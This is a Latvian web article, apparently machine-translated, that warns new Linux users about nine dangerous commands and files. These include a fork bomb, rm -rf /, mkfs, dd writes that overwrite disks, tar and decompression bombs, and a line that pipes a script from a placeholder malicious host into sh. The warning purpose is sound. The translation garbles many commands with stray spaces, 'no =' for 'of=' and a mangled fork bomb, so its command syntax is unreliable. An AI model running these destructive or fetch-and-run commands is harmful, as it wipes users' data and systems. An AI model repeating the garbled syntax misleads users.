Mājas lapa » Darbvirsma » 9 Linux komandas un kodi, kuriem jābūt uzmanīgiem

    9 Linux komandas un kodi, kuriem jābūt uzmanīgiem

    Linux čaulas / termināla komandas ir ļoti spēcīgas un tikai vienkārša komanda var novest pie vienas mapes, failu vai saknes mapes dzēšanas utt.

    Dažos gadījumos Linux pat neprasīs apstiprinājumu, bet tā izpildīs komandu uzreiz, izraisot jums zaudē vērtīgus datus un informāciju saglabāti šajos failos un mapēs.

    Parasti cilvēki ievieto saturu tīmeklī ieteikt jauniem Linux lietotājiem izpildīt šīs komandas. Tas varētu likties kā joks kādam, kas ir ievietojis saturu, bet tas nav nevainīgs cilvēks otrā galā.

    Mēs esam apkopojuši dažas Linux komandas, kas ir diezgan kaitīgas jūsu sistēmai, lai palīdzētu jums izvairīties no tām. Paturiet prātā, ka tie patiešām ir bīstami un var pat mainīt dažādos veidos, lai radītu jaunas komandas radīt lielāku kaitējumu.

    Ir svarīgi atzīmēt, ka dažas no šīm komandām ir bīstamas tikai tad, ja tās ir pievienotas sudo uz Ubuntu. Kaut arī citos Linux sadalījumos lielākā daļa no šīm dotajām komandām būs bīstamas, lai izpildītu kā root.

    Paskatieties 9 komandas un kodi jāizvairās no izpildes.

    1. Linux Fork Bomb Command

    : () : |: & ;: zināms arī kā Fork Bomb ir servisa atteikuma uzbrukums Linux sistēmai. : () : |: & ;: ir bash funkcija. Kad izpildīts, tā atkārtojas vairākas reizes, līdz sistēma sasalst.

    To var atbrīvot tikai no jauna, restartējot sistēmu. Tāpēc esiet uzmanīgi, izpildot šo komandu savā Linux apvalkā.

    2. mv mape / dev / null Komanda

    mv mape / dev / null ir vēl viena riskanta komanda. Dev / null vai nulles ierīce ir ierīces fails, kas atbrīvo visus tajā ierakstītos datus, bet ziņo, ka rakstīšanas operācija ir veiksmīgi izpildīta. Tas ir arī pazīstams kā mazliet buksēts vai melnais caurums.

    3. komanda rm -rf

    rm -rf komanda ir ātrs veids, kā izdzēsiet mapi un tās saturu Linux operētājsistēmā. Ja jūs nezināt, kā to pareizi izmantot, tas var kļūt ļoti bīstams sistēmai. Visbiežāk izmantotās kombinācijas un opcijas, kas tiek lietotas ar komandu rm-rf, ir uzskaitītas zemāk:

    • rm komanda tiek izmantota, lai dzēstu failus Linux sistēmā.
    • rm -f komanda noņem tikai lasāmos failus mapē bez aicinājuma.
    • rm -r komanda dzēš mapes saturu rekursīvi.
    • rm -d komanda tiek izmantota, lai noņemtu tukšu direktoriju, bet tā atsakās noņemt direktoriju, ja tā nav tukša.
    • rm -rf / komanda tiek izmantota piespiedu dzēšanai (tā izdzēš, pat ja tā ir rakstīta aizsargāta) no visa satura saknes direktorijā un apakšmapes.
    • rm -rf * komanda tiek izmantota, lai piespiedu kārtā dzēstu visu saturu pašreizējā direktorijā (direktorijā, kuru pašlaik strādājat) un apakšmapes.
    • rm -rf. komanda tiek izmantota, lai piespiedu kārtā dzēstu visu saturu pašreizējā mapē un apakšmapes. The rm -r. [^.] * var izmantot arī komandu.
    • rm-i komanda tiek izmantota failu un mapju noņemšanai, bet pirms izņemšanas parādīsies uzvedne.

    4. komanda mkfs

    mkfs jūsu Linux sistēmai var būt bīstama komanda, ja nezināt tās mērķi. Viss, kas rakstīts pēc mkfs, tiks formatēts un aizstāts ar tukšu Linux failu sistēmu.

    Visas tālāk minētās komandas formatēs cieto disku un tai ir nepieciešamas administratora tiesības:

    • mkfs
    • mkfs.ext3
    • mkfs.bfs
    • mkfs.ext2
    • mkfs.minix
    • mkfs.msdos
    • mkfs.reiserfs
    • mkfs.vfat

    Komanda mkfs.cramfs darīs to pašu, kā iepriekš, bet tam nav nepieciešamas administratora tiesības izpildīt.

    5. Darvas bumba

    The darva komandu izmanto, lai apvienotu vairākus failus vienā failā (arhivētais fails) .darva formātā. Ar šo komandu var izveidot Tape Archive (Tar) bumbu.

    Tas ir arhīva fails, kas pašreizējā direktorijā eksplodē tūkstošos vai miljonos failu ar līdzīgiem nosaukumiem nevis jaunu direktoriju.

    Jūs varat izvairīties kļūt par darvas bumbu upuri ikreiz, kad saņemat darvas failu, regulāri izveidojiet jaunu aizsardzības direktoriju un pēc tam pārvietojot saņemto darvas failu šajā direktorijā pirms atvienošanas.

    Ja darvas fails ir patiešām darvas bumba, tad jūs varat vienkārši noņemt jaunizveidoto direktoriju, lai atbrīvotos no tā. Vēl viens veids, kā izvairīties no darvas bumbu sprādziena, ir caur the -t iespēja uzskaitīt visu darvas faila saturu lai sniegtu jums priekšstatu par darvas faila saturu.

    6. dd komanda

    The dd komandu izmanto kopēt un konvertēt cietā diska nodalījumus. Tomēr tas var izrādīties kaitīgs, ja norādāt nepareizu galamērķi.

    Šī komanda var būt kāda no šīm darbībām:

    • dd if = / dev / hda no = / dev / hdb
    • dd if = / dev / hda no = / dev / sdb
    • dd if = kaut kas no = / dev / hda
    • dd if = kaut kas no = / dev / sda

    Nākamā komanda nulles visu primāro cieto disku: dd if = / dev / nulle = / dev / bija

    7. Shell skripta kods

    Kāds var jūs upurēt dodot jums saiti uz čaulas skriptu un apstiprinot jūs to lejupielādēt un izpildīt. Skripts var saturēt ļaunprātīgu vai bīstamu kodu. The komandas formāts var izskatīties šādi: wget http: // some_malicious_source -O- | sh. The wget lejupielādēs skriptu, kamēr sh lejupielādēs skripta izpildi.

    8. Ļaunprātīgs pirmkods

    Kāds dod jums avota kodu un lūdz to apkopot. Kods var būt normāls kods, bet patiesībā daži ļaunprātīgi kodi ir slēpti lielajā pirmkodā un tas var kaitēt jūsu sistēmai. Lai izvairītos no šāda veida uzbrukuma, pieņemiet un apkopojiet tikai avota kodu no uzticamiem avotiem.

    9. Dekompresijas bumba

    Jūs esat saņēmis saspiestu failu, un jums tiek lūgts izvilkt šo failu, kas, šķiet, ir ļoti mazs, bet tas var būt daži KB. Patiesībā, šis mazais saspiests fails satur ļoti saspiestus datus.

    Kad fails ir izspiests, iegūst simtiem GB datu var aizpildīt jūsu cieto disku samazināt sistēmas veiktspēju. Lai izvairītos no šīs situācijas, vienmēr atcerieties pieņemt datus no uzticamiem avotiem.